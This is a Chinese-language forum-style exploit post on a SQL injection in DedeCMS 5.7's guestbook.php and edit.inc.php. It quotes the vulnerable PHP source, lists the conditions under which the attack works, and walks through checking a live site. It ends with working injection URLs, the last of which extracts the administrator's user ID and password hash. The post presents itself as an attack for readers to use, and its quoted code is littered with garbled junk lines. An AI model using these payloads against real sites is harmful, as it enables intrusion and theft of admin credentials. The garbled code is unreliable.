dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
3 B4 c: r/ L) S, \) {
漏洞文件edit.inc.php具体代码：

< ?php  

* ~  d* d: n, }* ]. h; P& Gif(!defined('DEDEINC')) exit('Request Error!');  

$ u3 {/ G' F0 i( x: k/ n+ V   

' n& o/ V, \/ ~( G% xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
  K% ~. X& C, ^0 o. m
; j* u2 X3 h, d" p4 v# j7 f$ s. {; k& t' ielse $GUEST_BOOK_POS = "guestbook.php";  
, y6 m( I3 p9 o# {, i4 H& h
   

$id = intval($id);  
" L9 ^' I" k5 V- d, c
6 t6 v0 }/ ?/ I# p4 d$ ?4 Iif(empty($job)) $job='view';  

   

if($job=='del' && $g_isadmin)  

{  
8 i5 q5 X4 y0 T9 c) b) x+ F7 S
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

2 C9 Z. {! ~) \ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

9 p) y0 |: y- Q$ u' k. texit();  

- z# X3 t# X6 K. o+ L}  
) x# n" A( g3 ^: @2 T4 f
, ^: j; E2 T/ Y( H1 D* helse if($job=='check' && $g_isadmin)  
6 O; C! y, k/ k  u1 q  P
, V# f6 u/ }7 t) e8 }{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
3 V; A( a& {/ l3 x7 f6 X# m
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

, L& `& `# M* U* O' V; b+ \exit();  

}  
  @* G$ O( B  i4 O+ ^) N( X
else if($job=='editok')  
, a. Q7 n4 N& V1 T6 L6 n/ Y
. ]5 A8 N0 G% G  `- B9 j$ a{  

7 |( I8 W5 o$ Z0 m$remsg = trim($remsg);  

if($remsg!='')  

{  
% [- J1 U  f  v, v  H1 u7 m
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" l2 `) Z" V0 Z4 @2 e
  P/ L9 Q! l; {  B1 Vif($g_isadmin)  

{  

9 \7 z0 O! R1 E$ O# R( ^$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
. l3 h/ n) p3 C" \" u# l% g* T& s
//$remsg <br /><font color=red>管理员回复：</font> }  

; m  C* U" e' C# w1 h( f" K0 helse

8 n, {- _% f6 B{  

0 n! q/ [: f& j, }' ]$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
+ m. b5 k' w' D1 j% i
1 m) y% _9 ~: h. Z+ }$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
( G: g' o+ B9 k* T7 u
$msg = $oldmsg.$remsg;  
% k; `7 E9 W3 s$ k2 A  }. d7 M
5 @% f3 s% p( h* V0 ?" S) n}  

}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
( @5 _8 B' K$ v/ B9 J# u
# j" ~) ^& y: N) S+ G; [$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
3 s/ |' p/ t( r7 b+ Q
7 M4 \# f- H. e7 v  s2 ?ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

}  

# J# i! U0 }7 e% `//home:www.errs.cc  

if($g_isadmin)  

{  
+ I! M: j3 Y. R. B3 H
6 X. W% ]8 S- G" G$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
& T3 [. F2 u1 f2 i3 t8 g4 {
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
( w2 ?3 m& [1 E3 l, _* U! O) O9 @- P
1 ?/ J: a1 k) F4 P( z3 M  {}  
: c+ }) S' O! o+ v. n7 k. e- h# H5 ^5 r. C
5 f( V0 z$ l# G, h2 h+ |else

% {0 R+ e# B. R0 Q{  

& }, T3 R$ x4 @. }$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: e+ H. {( ~# e# P
  A! q& f* X5 F+ A; }( T8 trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
- Y! K* |* C1 m3 o7 H% [
9 t% K% h* ~4 J5 B# J6 k7 K4 }8 Q} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 `/ v- @1 r$ M1 s
怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 i8 s- L2 H) F/ u* F+ W访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
; x; i  ~, |7 h4 S6 R9 D2 y

明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
! e2 T8 O/ z+ H2 E那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
! g: h' }3 _7 F% w* C- Z
, O. u& m0 f& y0 Q大概利用就是这样，大家有兴趣的多研究下！！
* m- t& ~9 Y% o* \
' t$ h4 [: v8 p% g最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
0 E4 M- P! c" u( v2 c2 o
( q7 N& X5 l9 K% k# Q) Cview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='